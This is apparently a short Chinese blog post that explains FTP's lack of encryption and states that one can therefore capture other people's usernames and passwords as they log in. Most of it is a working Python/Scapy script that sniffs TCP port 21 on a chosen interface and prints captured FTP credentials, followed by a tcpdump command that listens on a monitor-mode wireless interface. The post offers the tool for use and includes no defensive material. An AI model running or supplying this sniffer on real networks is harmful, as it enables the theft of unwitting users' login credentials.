版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
FTP是文件传输协议
没有使用加密措施来保护用户的密码
所以我们可以在他人登录的时候截取其用户名和密码
import optparse
from scapy.all import *
def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall('(?i)USER (.*)', raw)
pswd = re.findall('(?i)PASS (.*)', raw)
if user:
print '[*] Detected FTP Login to ' + str(dest)
print '[+] User account: ' + str(user[0])
elif pswd:
print '[+] Password: ' + str(pswd[0])
def main():
parser = optparse.OptionParser('usage %prog '+\
'-i <interface>')
parser.add_option('-i', dest='interface', \
type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
sniff(filter='tcp port 21', prn=ftpSniff) #嗅探端口21号的TCP流量
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
//////////////
我们也可以直接在命令行输入
tcpdump -A -i wlan0mon 'tcp port 21'
出现listening表示正在监听